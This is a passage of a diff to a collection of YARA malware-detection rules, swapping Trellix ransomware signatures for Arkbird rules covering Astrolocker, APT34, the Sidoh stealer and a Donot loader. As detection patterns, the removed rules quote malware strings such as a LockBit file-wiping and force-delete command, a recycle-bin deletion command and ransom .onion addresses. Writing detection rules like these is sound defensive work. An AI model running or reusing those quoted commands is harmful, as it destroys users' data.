-		$s1 = { 5? 8B ?? 81 C? ?? ?? ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? C6 ?? ?? ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8D ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8B ?? ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 84 ?? 0F 85 }
-		$s2 = { 4? 33 ?? 8D ?? ?? 0F B6 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? 8B ?? FF 5? ?? FF 7? ?? 8D ?? ?? 0F B6 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 8D ?? ?? 0F B6 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? 0F B6 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 7? ?? 8D ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 74 }
-		$s3 = { A1 ?? ?? ?? ?? 99 5? 5? A1 ?? ?? ?? ?? 99 5? 5? 8B ?? ?? 8B ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 5? 5? 8B ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 03 ?? ?? 13 ?? ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? 5? 5? 8B ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 03 ?? ?? 13 ?? ?? ?? 83 ?? ?? 89 ?? ?? 89 ?? ?? A1 ?? ?? ?? ?? 99 5? 5? 8B ?? ?? 8B ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 03 ?? ?? ?? 13 ?? ?? ?? 89 ?? ?? 89 ?? ?? A1 ?? ?? ?? ?? 4? 99 89 ?? ?? 89 ?? ?? FF 7? ?? FF 7? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 3B ?? ?? 75 }
-		$s4 = { 5? 5? 5? 5? 8B ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 8D ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 0F 84 }
-		$s5 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? 89 ?? ?? 8B ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 83 ?? ?? 83 ?? ?? 5? 5? A1 ?? ?? ?? ?? 99 E8 ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 8B ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 2B ?? 8B ?? 4? 5? 8B ?? ?? 8B ?? 83 ?? ?? B9 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 8C }
+		$seq_Sep_2020_1 = { 40 53 48 81 ec f0 02 00 00 b9 e8 03 00 00 ff 15 ec 1a 00 00 bb 68 00 00 00 48 8d 4c 24 70 44 8b c3 33 d2 e8 9c 00 00 00 ba 04 01 00 00 89 5c 24 70 48 8d 8c 24 e0 00 00 00 ff 15 51 1a 00 00 48 8d 15 a2 9c 00 00 48 8d 8c 24 e0 00 00 00 ff 15 64 1a 00 00 48 8d 44 24 50 45 33 c9 48 89 44 24 48 48 8d 94 24 e0 00 00 00 48 8d 44 24 70 45 33 c0 48 89 44 24 40 33 c9 48 83 64 24 38 00 48 83 64 24 30 00 c7 44 24 28 10 00 00 00 83 64 24 20 00 ff 15 c1 19 00 00 8b d8 85 c0 74 16 48 8b 4c 24 58 ff 15 50 1a 00 00 48 8b 4c 24 50 ff 15 45 1a 00 00 8b c3 48 81 c4 f0 02 }
+		$seq_Sep_2020_2 = { 68 00 00 00 f0 6a 01 68 a0 51 00 10 57 8d 45 f8 89 5d f4 50 89 7d f8 89 7d fc ff 15 30 50 00 10 85 c0 0f 84 81 00 00 00 8d 45 fc 50 57 57 68 14 01 00 00 68 d0 d0 00 10 ff 75 f8 ff 15 08 50 00 10 8b f0 85 f6 74 26 68 00 01 00 00 8d 45 f4 50 68 60 42 01 10 57 6a 01 57 ff 75 fc ff 15 04 50 00 10 ff 75 fc 8b f0 ff 15 00 50 00 10 57 ff 75 f8 ff 15 0c 50 00 10 }
+		$seq_Jan_2021_1 = { 48 21 4d 77 4c 8d 05 [2] 00 00 48 21 4d 6f ?? 8b ?? 48 8d 4d 77 [6-9] c7 44 24 20 00 00 00 f0 ff 15 [2] 00 00 85 c0 0f 84 [2] 00 00 48 8b 4d 77 48 8d 45 6f 48 89 44 24 28 48 8d [3] 00 00 83 64 24 20 00 [2-5] c9 41 b8 14 01 00 00 ff 15 [2] 00 00 8b d8 85 c0 74 3b 48 8b 4d 6f 48 8d 45 67 c7 44 24 30 00 01 00 00 45 33 c9 48 89 44 24 28 ?? 8b ?? 48 8d 05 [2-3] 00 33 d2 48 89 44 24 20 ff 15 [2] 00 00 48 8b 4d 6f 8b d8 ff 15 [2] 00 00 48 8b 4d 77 33 d2 ff 15 [2] 00 00 85 db [4-12] 00 00 48 8d }
+		$seq_Jan_2021_2 = { 4c 8d 05 20 47 00 00 41 8b ce 48 8d 15 1e 47 00 00 e8 [2] 00 00 ba 04 01 00 00 48 8d 4c 24 40 ff 15 ?? 43 00 00 85 c0 75 12 b8 5c 00 00 00 c7 44 24 40 43 00 3a 00 66 89 44 24 44 89 6c 24 38 4c 8d 8c 24 78 02 00 00 48 89 6c 24 30 48 8d 4c 24 40 48 89 6c 24 28 45 33 c0 33 d2 48 89 6c 24 20 66 89 6c 24 46 ff 15 6b 44 00 00 44 8b 84 24 78 02 00 00 48 8d 15 e4 45 00 00 85 c0 b9 bd 07 a2 41 44 0f 44 c1 41 8b c8 44 89 84 24 78 02 00 00 c1 c9 09 41 8b c0 89 4c 24 28 45 8b c8 c1 c8 06 48 8d 4c 24 40 41 c1 c9 03 89 44 24 20 ff 15 8b 44 00 00 4c 8d 44 24 40 33 d2 33 c9 ff 15 ?? 42 00 00 48 85 c0 74 1b ff 15 [2] 00 00 3d b7 00 00 00 74 0e bf 01 00 00 00 48 8d 15 fe 45 00 00 eb 09 8b fd 48 8d 15 a3 45 00 00 41 8b }
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and filesize >30KB and 1 of ($seq*)
 }
-rule TRELLIX_ARC_Ransom_Win_Blackcat : RANSOMWARE FILE
+rule ARKBIRD_SOLG_RAN_Astrolocker_May_2021_1 : FILE
 {
 	meta:
-		description = "Detecting variants of Windows BlackCat malware"
-		author = " Trellix ATR"
-		id = "65483ffb-6b10-5fd5-8a5f-fc885a5f2e98"
-		date = "2022-01-06"
-		modified = "2022-01-19"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/Ransom_Win_BlackCat_public.yar#L2-L24"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "8faad28ab26690221f6e2130c886446615dbd505f76490cfaf999d130d0de6e3"
-		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		malware_type = "Ransomware"
-		detection_name = "Ransom_Win_BlackCat"
-		actor_group = "Unknown"
+		description = "Detect the Astrolocker ransomware"
+		author = "Arkbird_SOLG"
+		id = "f2c2c96a-277e-575b-8d80-4729f4a1cfe4"
+		date = "2020-05-12"
+		modified = "2021-05-16"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-12/Astrolocker/RAN_Astrolocker_May_2021_1.yara#L1-L18"
+		license_url = "N/A"
+		logic_hash = "7e50642f5f864b7cffeb5ccf4581ac7566da24fd5361a3303a860f036cd6d439"
+		score = 50
+		quality = 75
+		tags = "FILE"
+		hash1 = "7fe1686f4afb9907f880a5e77bf30bc00fae71980f57ca70b60b7b1716456a2f"
+		hash2 = "b26749b17ca691328ba67ee49d4d9997c101966c607ab578afad204459b7bf8f"
+		tlp = "White"
+		adversary = "-"
+		level = "Experimental"
 
 	strings:
-		$URL1 = "zujgzbu5y64xbmvc42addp4lxkoosb4tslf5mehnh7pvqjpwxn5gokyd.onion" ascii wide
-		$URL2 = "mu75ltv3lxd24dbyu6gtvmnwybecigs5auki7fces437xvvflzva2nqd.onion" ascii wide
-		$API = { 3a 7c d8 3f }
+		$seq_Mar_2021_1 = { 6a 00 6a 00 ff 15 88 60 41 00 81 3d cc e6 b8 02 57 0f 00 00 8b 0d b4 c4 41 00 8b 15 b8 c4 41 00 a1 bc c4 41 00 89 4c 24 2c 89 54 24 20 89 44 24 24 75 14 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 ff 15 28 60 41 00 8b 2d a8 60 41 00 c7 44 24 1c 20 00 00 00 8d 9b 00 00 00 00 8b 54 24 18 8b ce c1 e1 04 03 4c 24 20 8b c6 c1 e8 05 89 4c 24 14 8d 0c 32 89 44 24 10 8b 44 24 24 01 44 24 10 31 4c 24 14 81 3d cc e6 b8 02 f5 03 00 00 c7 05 0c da b8 02 36 06 ea e9 75 08 6a 00 ff 15 5c 60 41 00 8b 4c 24 14 31 4c 24 10 83 3d cc e6 b8 02 42 75 30 6a 00 6a 00 6a 00 ff d5 6a 30 8d 54 24 3c 6a 00 52 c7 44 24 40 00 00 00 00 e8 5a 5e ff ff 83 c4 0c 6a 00 8d 44 24 38 50 6a 00 ff 15 00 60 41 00 2b 5c 24 10 8b cb c1 e1 04 81 3d cc e6 b8 02 8c 07 00 00 89 4c 24 14 75 09 6a 00 6a 00 e8 d2 eb fe ff }
+		$seq_Apr_2021_1 = { 89 44 24 38 48 8b 05 78 4e 00 00 48 89 05 b9 9e 00 00 48 8b 05 52 4e 00 00 48 89 05 b3 9e 00 00 48 8b 05 4c 4e 00 00 48 89 05 ad 9e 00 00 48 8b 05 46 4e 00 00 48 89 05 a7 9e 00 00 8b 05 51 9e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3500KB and 1 of ($URL*) and $API
+		uint16(0)==0x5a4d and filesize >30KB and 1 of ($seq*)
 }
-rule TRELLIX_ARC_Crime_Ransomware_Windows_Gpgqwerty : RANSOMWARE
+rule ARKBIRD_SOLG_APT_APT34_RDAT_July_2021_1 : FILE
 {
 	meta:
-		description = "Detect GPGQwerty ransomware"
-		author = "McAfee Labs"
-		id = "dcbaf3bd-7d0c-5449-a751-82caaad3b5c2"
-		date = "2018-03-21"
-		modified = "2020-08-14"
-		reference = "https://securingtomorrow.mcafee.com/mcafee-labs/ransomware-takes-open-source-path-encrypts-gnu-privacy-guard/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_GPGQwerty.yar#L1-L26"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "8e77895cb8e7f33707c5080780a49cb4bf1d35aa7a8df829fdc7a93319ce3897"
-		score = 75
-		quality = 70
-		tags = "RANSOMWARE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/GPGQwerty"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		description = "Detect RDAT used by APT34"
+		author = "Arkbird_SOLG"
+		id = "136f8a9e-e680-5fab-8113-b4d33a47bc34"
+		date = "2021-07-15"
+		modified = "2021-07-16"
+		reference = "https://twitter.com/ShadowChasing1/status/1415206437806960647"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-15/APT34/APT_APT34_RDAT_July_2021_1.yara#L1-L22"
+		license_url = "N/A"
+		logic_hash = "269788430ca8faff4b0ea5ec7c2a62f99f5f48ef3bc4ea3f7a27f1d735e64819"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		hash1 = "b59dea96ef94e8d32ee1a1805174318643569bbdca0d7569ede19467ff09dcdc"
+		hash2 = "65a6afc027ff851bd325d8a4f2ab4f326dd8f2c230bfd49a213c5afc00df8e2c"
+		hash3 = "f9f6dbb09773f708b125a4cca509047eb33c8c53d9e15a8c41ae3d7a8c3e5c7c"
+		tlp = "White"
+		adversary = "APT34"
 
 	strings:
-		$a = "gpg.exe –recipient qwerty  -o"
-		$b = "%s%s.%d.qwerty"
-		$c = "del /Q /F /S %s$recycle.bin"
-		$d = "cryz1@protonmail.com"
+		$s1 = { 0a 6f 70 74 20 25 6c 75 28 25 6c 75 29 20 73 74 61 74 20 25 6c 75 28 25 6c 75 29 20 73 74 6f 72 65 64 20 25 6c 75 20 6c 69 74 20 25 75 20 64 69 73 74 20 25 75 }
+		$s2 = { 0a 6c 61 73 74 5f 6c 69 74 20 25 75 2c 20 6c 61 73 74 5f 64 69 73 74 20 25 75 2c 20 69 6e 20 25 6c 64 2c 20 6f 75 74 20 7e 25 6c 64 28 25 6c 64 25 25 29 }
+		$s3 = { 70 65 6e 53 43 4d 61 6e 61 67 65 72 20 66 61 69 6c 65 64 20 28 25 64 29 0a }
+		$s4 = { 43 72 65 61 74 65 53 65 72 76 69 63 65 20 66 61 69 6c 65 64 20 28 25 64 29 0a 00 00 00 00 00 00 53 65 72 76 69 63 65 20 69 6e 73 74 61 6c 6c 65 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 0a }
+		$s5 = { 49 8b cd ff 15 56 22 07 00 c6 05 87 7b 0a 00 00 c7 05 81 7b 0a 00 60 ea 00 00 49 83 c9 ff 45 33 c0 48 8d 55 20 48 8d 0d f3 7b 0a 00 e8 26 a4 ff ff 49 83 c9 ff 45 33 c0 48 8d 55 00 48 8d 0d bc 7b 0a 00 e8 0f a4 ff ff 41 b8 07 00 00 00 48 8d 15 92 b8 08 00 48 8d 0d 03 7c 0a 00 e8 16 a3 ff ff 49 83 c9 ff 45 33 c0 48 8d 55 40 48 8d 0d 6c 7b 0a 00 e8 df a3 ff ff 41 b8 ?? 00 00 00 48 8d 15 6a b8 08 00 48 8d 0d 13 7c 0a 00 e8 e6 a2 ff ff 48 8d 1d 0f 7d 0a 00 48 8b c3 48 83 3d 1c 7d 0a 00 08 48 0f 43 05 fc 7c 0a 00 48 89 44 24 58 48 8d 05 a0 03 00 00 48 89 44 24 60 48 89 7c 24 68 48 89 7c 24 70 48 8d 4c 24 58 ff 15 4e 21 07 00 85 c0 75 29 48 83 3d e2 7c 0a 00 08 48 0f 43 1d c2 7c 0a 00 48 8b d3 33 c9 ff 15 37 21 07 00 48 85 c0 74 09 48 8b c8 ff 15 f1 20 07 00 83 7c 24 30 02 7f 5d 48 8d 44 24 48 48 89 44 24 28 89 7c 24 20 45 33 c9 4c 8d 05 0a 71 ff ff 33 d2 33 c9 ff 15 60 22 07 00 48 8d 44 24 50 48 89 44 24 28 89 7c 24 20 45 33 c9 4c 8d 05 a8 95 ff ff 33 d2 33 c9 ff 15 3e 22 07 00 83 ca ff 48 8b c8 ff 15 f2 20 07 00 b9 64 00 00 00 ff 15 47 22 07 }
+		$s6 = { 48 89 7d f0 48 89 7d f8 45 33 c0 33 d2 48 8d 4d e0 e8 43 a7 ff ff 41 b8 2c 00 00 00 48 8d 15 be bc 08 00 48 8d 4d e0 e8 ad a7 ff ff 48 89 7d 70 48 89 7d 78 45 33 c0 33 d2 48 8d 4d 60 e8 17 a7 ff ff 45 33 c0 48 8d 15 77 94 08 00 48 8d 4d 60 e8 84 a7 ff ff 83 7c 24 30 02 75 6e 48 8d 85 a8 00 00 00 48 89 85 a0 00 00 00 41 b8 03 00 00 00 49 8b 55 08 48 8d 8d a0 00 00 00 e8 c9 0a 00 00 48 8b 95 a0 00 00 00 48 8d 4d a0 e8 89 a5 ff ff 48 8d 85 a8 00 00 00 48 8b 8d a0 00 00 48 89 85 b0 10 00 00 48 8b da 48 8b f9 33 f6 89 74 24 78 c7 45 80 18 00 00 00 c7 45 90 01 00 00 00 48 89 75 88 45 33 c9 4c 8d 45 80 48 8d 54 24 68 48 8d 4c 24 60 ff 15 81 fe 06 00 45 33 c0 8d 56 01 48 8b 4c 24 60 ff 15 68 fe 06 00 45 33 c9 4c 8d 45 80 48 8d 54 24 70 48 8d 4c 24 58 ff 15 59 fe 06 00 45 33 c0 8d 56 01 48 8b 4c 24 58 ff 15 40 fe 06 00 33 c0 48 89 45 98 48 89 45 a0 48 89 45 a8 33 d2 44 8d 46 68 48 8d 4d c0 e8 ab 89 04 00 c7 45 c0 68 00 00 00 48 8b 44 24 68 48 89 45 20 48 8b 44 24 70 48 89 45 18 81 4d fc 00 01 00 00 48 8b d3 48 8d 4d 30 e8 bf fe ff ff 90 4c 8b c0 48 8d 8d 90 00 00 00 e8 9f 0d 00 00 90 45 33 c0 b2 01 48 8d 4d 30 e8 d0 7d ff ff 48 8d 95 90 00 00 00 48 83 bd a8 00 00 00 08 48 0f 43 95 90 00 00 00 48 8d 45 98 48 89 44 24 48 48 8d 45 c0 48 89 44 24 40 48 89 74 24 38 48 89 74 24 30 c7 44 24 28 00 00 00 08 c7 44 24 20 01 00 00 00 45 33 c9 45 33 c0 33 c9 ff 15 a7 fd 06 00 48 8b 4c 24 68 ff 15 94 fd 06 00 48 8b 4c 24 70 ff 15 89 fd 06 00 48 89 b5 80 00 00 00 48 89 b5 88 00 00 00 }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize >80KB and 5 of ($s*)
 }
-rule TRELLIX_ARC_Lockbit2_Jul21 : FILE
+rule ARKBIRD_SOLG_MAL_Sidoh_Stealer_Aug_2021_1 : FILE
 {
 	meta:
-		description = "simple rule to detect latest Lockbit ransomware Jul 2021"
-		author = "CB @ ATR"
-		id = "22b423df-ae5c-5672-95be-333b13791fc6"
-		date = "2021-07-28"
-		modified = "2021-07-28"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Lockbit2.yar#L1-L25"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "b3ed7d7c72b7585877293f586bae5ec7b0135b09d518b4e4b08f64e60db5a159"
-		score = 50
-		quality = 70
+		description = "Detect Sidoh Stealer used by RYUK group"
+		author = "Arkbird_SOLG"
+		id = "b4661304-6dfa-5c33-95f2-8694271b9e58"
+		date = "2021-08-31"
+		modified = "2021-09-01"
+		reference = "https://www.crowdstrike.com/blog/sidoh-wizard-spiders-mysterious-exfiltration-tool/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-31/Sidoh/MAL_Sidoh_Stealer_Aug_2021_1.yara#L1-L22"
+		license_url = "N/A"
+		logic_hash = "baeea14c6be42d64d3ca68298bf6ced34c9587fcda91471945cfc7ed1fe267bd"
+		score = 75
+		quality = 75
 		tags = "FILE"
-		version = "v1"
-		hash1 = "f32e9fb8b1ea73f0a71f3edaebb7f2b242e72d2a4826d6b2744ad3d830671202"
-		hash2 = "dd8fe3966ab4d2d6215c63b3ac7abf4673d9c19f2d9f35a6bf247922c642ec2d"
+		hash1 = "a1ce52437252001b56c9ccd2d2da46240dc38db8074a5ed39a396e8c8e387fc2"
+		hash2 = "c64269a64b64b20108df89c4f1a415936c9d9923f8761d0667aa8492aa057acb"
+		hash3 = "e6762cb7d09cd90d5469e3c3bfc3b47979cd67aa06c06e893015a87b0348c32c"
+		hash4 = "cc4a0b4080844e20fb9535679f7b09a3e2449729ce1815d1e5a64272b0225465"
+		tlp = "White"
+		adversary = "RYUK (RAAS)"
 
 	strings:
-		$seq1 = " /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 \"%s\" & Del /f /q \"%s\"" fullword wide
-		$seq2 = "\"C:\\Windows\\system32\\mshta.exe\" \"%s\"" fullword wide
-		$p1 = "C:\\windows\\system32\\%X%X%X.ico" fullword wide
-		$p2 = "\\??\\C:\\windows\\system32\\%X%X%X.ico" fullword wide
-		$p3 = "\\Registry\\Machine\\Software\\Classes\\Lockbit\\shell\\Open\\Command" fullword wide
-		$p4 = "use ToxID: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7" fullword wide
-		$p5 = "https://tox.chat/download.html" fullword wide
-		$p6 = "Software\\Microsoft\\Windows NT\\CurrentVersion\\ICM\\Calibration" fullword wide
-		$p7 = "http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion" fullword wide
-		$p8 = "\\LockBit_Ransomware.hta" fullword wide
+		$s1 = { 68 88 13 00 00 ff 15 ?? 30 41 00 ff 76 04 ff 15 ?? 30 41 00 68 10 27 00 00 53 68 ?? f6 41 00 e8 ?? ?? 00 00 83 c4 0c ff 15 ?? 30 41 00 8b f8 8b f3 8b d7 8b ce d3 ea f6 c2 01 74 34 8d 46 41 6a 3a 66 a3 ?? f6 41 00 58 66 a3 ?? f6 41 00 33 c0 68 ?? f6 41 00 66 a3 ?? f6 41 00 ff 15 ?? 30 41 00 83 f8 05 74 0a b9 ?? f6 41 00 e8 ?? ?? 00 00 46 83 fe 1a 7c bb 68 10 27 00 00 53 68 ?? f6 41 00 e8 ?? ?? 00 00 8b 3d ?? 30 41 00 8d 44 24 28 83 c4 0c 89 5c 24 1c 6a 01 50 53 ff d7 8b 35 ?? 30 41 00 6a 04 68 00 10 00 00 ff 74 24 24 53 ff d6 8b d8 8d 44 24 1c 6a 01 50 53 89 5c 24 30 ff d7 6b 0b 18 6a 04 68 00 10 00 00 51 33 c9 51 ff d6 68 00 40 00 00 6a 40 89 44 24 38 ff 15 ?? 30 41 00 33 f6 89 44 24 2c 89 74 24 }
+		$s2 = { 8b ca c1 e9 02 f3 a5 8b ca 83 e1 03 f3 a4 33 f6 56 56 56 6a 01 56 ff 15 ?? 31 41 00 a3 ?? ?? 42 00 8b fe 85 c0 74 4e 56 68 00 00 00 08 6a 01 68 ?? ?? 41 00 68 ?? ec 41 00 6a 15 ff 75 f8 50 ff 15 ?? 31 41 00 8b f8 85 ff 74 42 56 6a 02 8d 85 f0 fc ff ff 50 53 57 ff 15 ?? 31 41 00 85 c0 75 0f ff 15 ?? 30 41 00 8b d8 a1 ?? ?? 42 00 eb 08 a1 ?? ?? 42 00 33 db 43 8b 35 ?? 31 41 00 50 ff d6 57 ff d6 8b c3 5f 5e 5b 8b e5 }
+		$s3 = { 55 8b ec 83 ec 58 53 8b 1d ?? 30 41 00 56 57 6a 04 68 00 10 00 00 6a 02 6a 00 89 55 f0 8b f1 ff d3 8b f8 85 ff 75 08 83 c8 ff e9 0f 01 00 00 56 68 ?? ?? 41 00 57 e8 93 ff ff ff 83 65 f8 00 8d 45 f8 50 6a 00 57 ff 15 ?? 31 41 00 83 c4 18 8b f0 83 7d f8 00 89 75 f4 74 04 6a fd eb 33 83 65 ac 00 8d 45 ac 50 ff 15 ?? 31 41 00 8d 45 ac 50 6a 00 68 ?? ?? 41 00 56 ff 15 ?? 31 41 00 83 c4 14 83 7d c8 00 77 10 72 06 }
+		$s4 = { 6a 04 68 00 10 00 00 ff 75 c4 6a 00 ff d3 8b d8 85 db 75 1a 68 00 80 00 00 50 57 ff 15 ?? 30 41 00 56 ff 15 ?? 31 41 00 59 6a fb 58 eb 79 6a 00 68 ?? ?? 41 00 56 ff 15 ?? 31 41 00 ff 75 c8 8b f0 ff 75 c4 53 56 ff 15 ?? 31 41 00 56 ff 15 ?? 31 41 00 ff 75 f4 ff 15 ?? 31 41 00 ff 75 08 8b 55 c4 8b cb ff 75 f0 e8 3b 02 00 00 8b f0 83 c4 2c 85 f6 75 14 83 7d 08 05 75 0e 8b 55 c4 51 8b cb e8 b3 09 00 00 59 8b f0 68 00 80 00 00 6a 00 53 ff 15 ?? 30 41 00 68 00 80 00 00 6a 00 57 ff 15 ?? 30 41 00 8b c6 5f 5e 5b 8b e5 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and (1 of ($seq*) and 4 of them )) or ( all of them )
+		uint16(0)==0x5A4D and filesize >20KB and all of ($s*)
 }
-rule TRELLIX_ARC_Unpacked_Shiva_Ransomware : RANSOMWARE FILE
+import "pe"
+
+rule ARKBIRD_SOLG_APT_MAL_Donot_Loader_June_2020_1 : FILE
 {
 	meta:
-		description = "Rule to detect an unpacked sample of Shiva ransomware"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "c6cd4421-216f-5c1f-bb8d-fc8ab00bb72d"
-		date = "2018-09-05"
-		modified = "2020-08-14"
-		reference = "https://twitter.com/malwrhunterteam/status/1037424962569732096"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Shiva.yar#L1-L37"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "299bebcb18e218254960ef96c2e65a4dc1945dcdfe9fc68550022f99a474f56d"
-		logic_hash = "8a6a1d9f3b75617d8f07489ecf2867f90ddcf9fbe1db1e7c0f5c26833f88be3f"
+		description = "Detect loader malware used by APT Donot for drops the final stage"
+		author = "Arkbird_SOLG"
+		id = "ec4cac12-529f-56d2-bbc0-5fe30424b10b"
+		date = "2020-06-22"
+		modified = "2020-06-22"
+		reference = "https://twitter.com/ccxsaber/status/1274978583463649281"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-22/APT_MAL_Donot_Loader_June_2020_1.yar#L3-L22"
+		license_url = "N/A"
+		logic_hash = "986deffd48c1fb707948b00e1e200fa6538d4c73a32ab89f5119403f9bf0d734"
 		score = 75
-		quality = 66
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/Shiva"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "1ff33d1c630db0a0b8b27423f32d15cc9ef867349ac71840aed47c90c526bb6b"
 
 	strings:
-		$s1 = "c:\\Users\\sys\\Desktop\\v 0.5\\Shiva\\Shiva\\obj\\Debug\\shiva.pdb" fullword ascii
-		$s2 = "This email will be as confirmation you are ready to pay for decryption key." fullword wide
-		$s3 = "Your important files are now encrypted due to a security problem with your PC!" fullword wide
-		$s4 = "write.php?info=" fullword wide
